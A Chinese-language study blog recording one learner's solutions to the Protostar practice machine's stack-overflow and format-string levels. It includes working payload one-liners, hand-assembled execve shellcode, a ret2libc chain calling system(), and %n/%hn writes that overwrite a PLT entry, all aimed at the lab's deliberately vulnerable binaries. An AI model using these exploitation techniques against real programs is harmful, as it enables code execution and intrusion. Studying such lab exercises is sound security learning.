Protostar学习笔记

正在学习二进制安全，经糖果牛介绍，知道了还有Protostar这么个好玩的东西。实际说来，Protostar是Exploit Exercise网站下四个供安全学习用的镜像之一，除了这个以外，还有其他四个环境，分别是Nebula（Linux基础），Fusion（相当于Protostar的高难度版本），Main Sequence（似乎是Ruxcon 2012的真题）和Cloud Road（应该是Ruxcon 2014的题），具体的可以去他们的官网查阅。（另外官网上对于题目已经给出了足够的提示，因此这里的笔记只起两个作用了，一是我自己对少数题目的解法，二是我在学习过程中的点滴思考，只是对自己想法的记录。如果您感觉有一定的参考意义，那将是我的荣幸。如果您觉得这里应该公布标准答案，请移驾本处。

更新并不定期。

工作的环境配置如下：

# /bin/bash
user@protostar:~$ su
root@protostar:/# echo '1' > /proc/sys/fs/suid_dumpable
root@protostar:/# exit
user@protostar:~$ gdb -q
(gdb) set disassemble-flavor

那么下面就是正文了。

4/13/2015更新

Stack系列

Level 0~2

都是相当简单的缓冲区溢出，只不过方式稍有不同。Lv0的话，只要你输入的数量足够，就能通过了。但这没意思了不是，尝试一下最少需要多少个字符完成任务，再结合源码中在栈上分配的空间大小，要了解细节还算是比较轻松的。而Lv1则加入了对特定字符的限制，除了考查内存分配以外，还要知道小端机器是如何在内存中存放数据的。Lv2感觉是给我一个新思路，原来只知道用户输入可能有漏洞，没想过环境变量也是个靶点，看来思路还不宽。

这部分因为是中午要睡觉，所以也没太细看，简单走了几步就过去了，不过顺手搜到个很好用的trick：

export foo=`perl -e 'print "\x50\x9a\x05\x40"'`

Level 3

直接disas main会发现使用了函数指针，不过函数指针并没有被赋值。然后敲i fun可以看到有一个名为win的函数存在，但是并没有被使用到。disas win可看到将0x8048540处的字符串输出，也就是说需要使函数指针指向win。disas main可以看到编译器在栈上为输入数据分配了0x40=64个空间，因此POC如下：

perl -e 'print "a"x64 . "\x24\x84\x04\x08"' | ./stack3

4/15/2015更新

Level 4

注意这里编译器生成的代码：

and esp, 0xfffffff0

自己写了个调用gets()的程序，发现这句话是编译器自己加上去的，似乎只是为了对齐用。因此我们的POC需要重新计算（记得包括ebp和这个偏移量）：

perl -e 'print "a"x76 . "\x24\x84\x04\x08"' | ./stack3

(76=64+0x08+0x04) 但是关于这个偏移量产生的原因，似乎还可以追一下。留待有时间看看。

Level 5

i fun并没有什么卵用。disas似乎也并没有什么作用。去官网上看了下，原来是要你构造个shellcode放进去。看了下相关配置，栈执行已经关掉了，好办。

先来看下代码：

push ebp
mov  ebp, esp
and  esp, 0xfffffff0
sub  esp, 0x50
lea  eax, [esp+0x10]
mov  DWORD PTR [esp], eax
call <gets@plt>
leave
ret

那么压入栈中的返回地址是esp+(0x50-0x08+0x04=)76==esp+0x4c，输入的数据存放在esp+0x10(本环境下esp=0xbffff7c0）。先确定下：

perl -e 'print "\xcc"x76 . "\xd0\xf7\xff\xbf"' > '~/test.in'
<Alt+F2>
(gdb) r 
Starting program: /opt/protostar/bin/stack5 < ~/test.in

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7d1 in ??()
(gdb) x /20x 0xbffff7d0
0xbffff7d0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
......
0xbffff810: 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff7d0
(gdb) i reg esp ebp
esp   0xbffff820 0xbffff820
ebp   0xcccccccc 0xcccccccc

看来是没问题了。那么现在写下shellcode，弹个……日历吧。感谢这家和这家的大力支持，得到了shellcode如下：

#base: 0xbffff7d0+0x1c个nop
#-1:  90                      nop
#00:  31 c0                   xor    eax,eax
#02:  a3 08 f8 ff bf          mov    ds:0xbffff808,eax
#07:  b0 0b                   mov    al,0xb
#09:  bb 0c f8 ff bf          mov    ebx,0xbffff80c
#0e:  b9 04 f8 ff bf          mov    ecx,0xbffff804
#13: 8b 15 08 f8 ff bf       mov    edx,DWORD PTR ds:0xbffff808
#19: cd 80                   int    0x80
#0xbffff7fc:       0xbffff808 0x06198904
#0xbffff80c: /usr   /bin   /cal   0x00000000
#0xbffff81c: 0xbffff7d0 <----TARGET!
perl -e 'print "\x90" . "\x90"x24 . "\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80" . "\x08\xf8\xff\xbf\x06\x19\x89\x04" . "/usr/bin/cal" . "\x00"x4 . "\xd0\xf7\xff\xbf"' > ~/test.in

先是把第一个nop换成了0xcc，下了个中断调了下，果然有问题，偏移量计算的不对，所以多加了三个\x00做个补丁。总体还是很容易看的，al里放上0x0b然后填参数，调用int80h，相当于执行execve()。这个函数会把控制权交给ebx指向的字符串所确定的程序，也就是日历了。效果如下：

(gdb) r
Starting program: /opt/protostar/bin/stack5 < ~/test.in
Executing new program: /usr/bin/ncal
     April 2015
Su     5 12 19 26
Mo     6 13 20 27
Tu     7 14 21 28
We  1  8 15 22 29
Th  2  9 16 23 30
Fr  3 10 17 24
Sa  4 11 18 25

Program exited normally.

似乎是因为并没有覆盖到目标之外的栈帧，execve还帮助清理了上下文，所以并没有Segment Error。这种攻击方式似乎有时候会很无趣，毕竟能覆盖的区域不一定够。此外这个exp只能在gdb下用，因为gdb下的内存分布和一般的内存分布似乎并不一样。这个问题将在下面的这道题中给出一个解法。

4/27/2015更新（这个人正在狂补大物，嗯）

Level 6

getpath函数，翻译过来大致是这样的：

void getpath(void)
{
//offset:0x08048484
//08048484 55                     push   ebp
//08048485 89 e5                  mov    ebp,esp
//08048487 83 ec 68               sub    esp,0x68
//allocated 0x68 on stack

//0804848a b8 d0 85 04 08         mov    eax,0x80485d0
//0804848f 89 04 24               mov    DWORD PTR [esp],eax
//08048492 e8 29 ff ff ff         call   0x080483c0 <printf@plt>
 printf("input path please: "); //*0x080485d0=="input path please: "
 
//08048497 a1 20 97 04 08         mov    eax,ds:0x8049720
//0804849c 89 04 24               mov    DWORD PTR [esp],eax
//0804849f e8 0c ff ff ff         call   0x080483b0 <fflush@plt>
 fflush(stdout);  //0x08049720==stdout
 
//080484a4 8d 45 b4               lea    eax,[ebp-0x4c]
//080484a7 89 04 24               mov    DWORD PTR [esp],eax
//080484aa e8 d1 fe ff ff         call   0x08048380 <gets@plt>
 gets(ebp-0x4c);  //result stored in ebp-0x4c, aka. esp+0x1c
 
//080484af 8b 45 04               mov    eax,DWORD PTR [ebp+0x4]
//080484b2 89 45 f4               mov    DWORD PTR [ebp-0xc],eax
//080484b5 8b 45 f4               mov    eax,DWORD PTR [ebp-0xc]
//080484b8 25 00 00 00 bf         and    eax,0xbf000000
//080484bd 3d 00 00 00 bf         cmp    eax,0xbf000000
//080484c2 75 20                  jne    loc_080484e4
// these code checked the stack, and if return ptr is not 
//  modified, the program will jump to loc_080484e4, 
//  or will report an error.
// only when the execute code is in the stack, the system 
//  will work 

//080484c4 b8 e4 85 04 08         mov    eax,0x80485e4
//080484c9 8b 55 f4               mov    edx,DWORD PTR [ebp-0xc]
//080484cc 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484d0 89 04 24               mov    DWORD PTR [esp],eax
//080484d3 e8 e8 fe ff ff         call   0x080483c0 <printf@plt>
 printf("bzzzt (%p)\n", *(ebp+0x4)); //show the ret addr
 
//080484d8 c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1
//080484df e8 bc fe ff ff         call   0x080483a0
 exit(1);
         
//       loc_080484e4:                         
//080484e4 b8 f0 85 04 08         mov    eax,0x80485f0
//080484e9 8d 55 b4               lea    edx,[ebp-0x4c]
//080484ec 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484f0 89 04 24               mov    DWORD PTR [esp],eax
//080484f3 e8 c8 fe ff ff         call   0x080483c0 <printf@plt>
 printf("got path %s\n", ebp-0x4c);
 
//080484f8 c9                     leave  
//080484f9 c3                     ret
}
/*
0 
| [esp=org_addr] ....
|      ....
| [esp+0x1c]     char input[0x40]
|      ...
| [esp+0x5c]  void* v1
|      ...
| [ebp=esp+0x68] OLD EBP     == 0xbffff818
| [esp+0x6c]   RETURN ADDR == 0x08048505
V 
F 
*/   

自带保护……棒透了。那么显然没办法任意执行自己的代码了，不过，返回地址仍然是可以覆盖的。先断下来看看有没有什么可以用的东西吧（笑：

(gdb) i func system
...
File ../sysdeps/posix/system.c:
int __libc_system(const char *);
static int do_system(const char *);
(gdb) p system
$2 = {...} 0xb7ecffb0 <__libc_system>

果然有东西。system是C里面的一个函数，通常的用法是这样的：

int main(void)
{
 //...
 system("whoami");
 //...

 return 0;
}

源程序虽然检查了返回地址，但只是要求返回地址不得位于栈中。我们只要让他去调用system（Question：这个system是位于哪里的？），然后传进去自己的参数就ok了。注意到有一个bzzzt的提示，可以提醒数据已经到了边界，所以确定下地址：

user@protostar:/opt/protostar/bin$ perl -e 'print "\xbf\x67\x68\x69"x20 . "\xbf\xbf\xbf\xbf"' | ./stack6
input path please: bzzzt (0xbfbfbfbf)

少一组就不好用，多一组就segmentation error。Bingo！可供我们填充的字节为0x50个，之后的四个字节就是返回地址了。那么exp布局如下：

#</usr/bin/whoami>.<fillings(and here is end)>.<0xb7ecffb0>.<0xb7ec60c0>.<0xbffff7fc>.<0x04198906>
user@protostar:/opt/protostar/bin$ perl -e 'print "/usr/bin/whoami;#" . "F"x63 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\xfc\xf7\xff\xbf" . "\x06\x89\x19\x04"' | ./stack6

解释下。根据这里的说明，被调用函数所看到的栈中的情况是：

 |FFFFFFFF|------------------>|00000000|
 |ret addr| param 1 | param 2 |........|

调用system()的时候，需要下一条指令执行exit()，并且带有一个字符串指针作为参数；调用exit()之后，下一条指令是什么对我们并没有什么卵用（因为退出了），只要保证给一个退出的值就可以了。检查转储文件后可以发现，我们的输入数据是从0xbffff7fc处开始存放的，因此就有了这个exp。

之后回头看了下protostar上的文档，发现这个检查实际是利用的 __builtin_return_address 这个函数检查栈帧。留下备用~

Level 7

目前并没做出来。

4/29/2015更新 参考了其他人的做法，是找到不会被限制的一个ret。之前都是通过覆写栈来覆盖返回地址的方法，ret后执行目标代码，换句话说是控制PC的值。那么让第一次ret出的地址指向另一个ret，而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]处，就可以绕过对[esp+0x04]的检查。

但是……有没有其他有趣的方法呢？

走到死路口之前先不写这种方法的poc了。

4/30/2015更新 double ret

Format[0..4]

这组练习均是有关于格式化字符串漏洞的。如果你刚开始学习C语言，还应该参考下维基百科上关于格式化字符串的有关文章。

总体上看，这类漏洞的根源在于POSIX标准中的变参函数。我们都知道，stdcall调用方式是通过将参数压入栈中完成参数传递的，而被调用的函数应该从栈中取出各参数。而POSIX标准为了支持变参函数，提供了va_start、va_end、va_arg和va_list用来支持其工作。然而，在标准中，对函数参数个数的传递并没有要求，因此被调用函数需要自行决定取出多少参数。

这种情况下，printf等处理格式化字符串的方法是，对格式化字符串中的字符分别处理，遇到特定的转义字符（如%d、%c等等）后再调用va_arg从栈中取出函数。这种方式的问题在于，当格式化字符串可以被控制时，内存里的内容也就可以被随意读取了。此外，由于printf函数提供了%n用来向某个参数内写入数值，这造成了对内存的任意写。

Format 0

程序逻辑是，将输入的字符串解析之后，输出结果送至到另一个字符串中，之后检测某个特定位置的值是否为deadbeef。因此，我们只要做好padding即可：

./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`

Format 1

程序读入启动参数并展示，而要求我们修改内存中指定地址处的值。修改值需要用到%n，它接受的参数是一个指向可写内存区域的地址。因此可以这样先找出我们的地址：

for i in {1..300}; do ./format1 `echo -ne "\x38\x96\x04\x08%$i\\$x"`; echo; done | nl | grep 9638
   127  88049638

构造：

user@protostar:/opt/protostar/bin$ ./format1 `echo -ne '\x38\x96\x04\x08%127$n'` 
8you have modified the target :)

不同机器上，运行结果可能也有不同，这与装载器有关。

Format 2

这次我们要控制改写的值为0x40=64。%n的作用是将已经显示的字符数写入对应地址处，那么我们要写入64的话，应该加的padding为64-4byte地址=60，则：

user@protostar:/opt/protostar/bin$ echo -ne "\xe4\x96\x04\x08%060x%4\$n\n" | ./format2    
鋿000000000000000000000000000000000000000000000000000000000200
you have modified the target :)

Format 3

为了写入0x1025544，我们仍然可以用Format2的方法：

echo -ne "\xf4\x96\x04\x08%16930112c%12\$n" | ./format3

但是，要输出这么多的字符，等待时间太长了。因此，我们每次写入2字节，那么：

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13\$hn%43966c%12\$hn"  | ./format3

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12\$hn%21570c%13\$hn"  | ./format3

这里我们使用%hn，控制每次写入2字节。几个参数的计算方法如下：

0x1025544 = 0x0102 << 16 + 0x5544
0x0102 = 258; 258 - 8 = 250
0x5544 - 0x0102 = 21570

Y = 0x218-0x208 = 0x10
X = +0x18 + 0x4 = 0x1C
(X+Y)/4+1 = 12 //indicates the first one to extract

Format 4

为了让程序在printf后，不执行_exit，而去执行hello函数，我们需要改写plt表。关于plt表的相关内容可以参考《程序员的自我修养》一书，这里给出exp：

echo -ne "\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5\$n%0491472c%4\$n\n" | ./format4

但其实，我们只需要修改一个字节就可以达到相同目的：

echo -ne "\x24\x97\x04\x08%33968u%4\$hn" | ./format4
....
code execution redirected! you win

注意，这里为了防止地址被破坏，还是需要写入两个字节。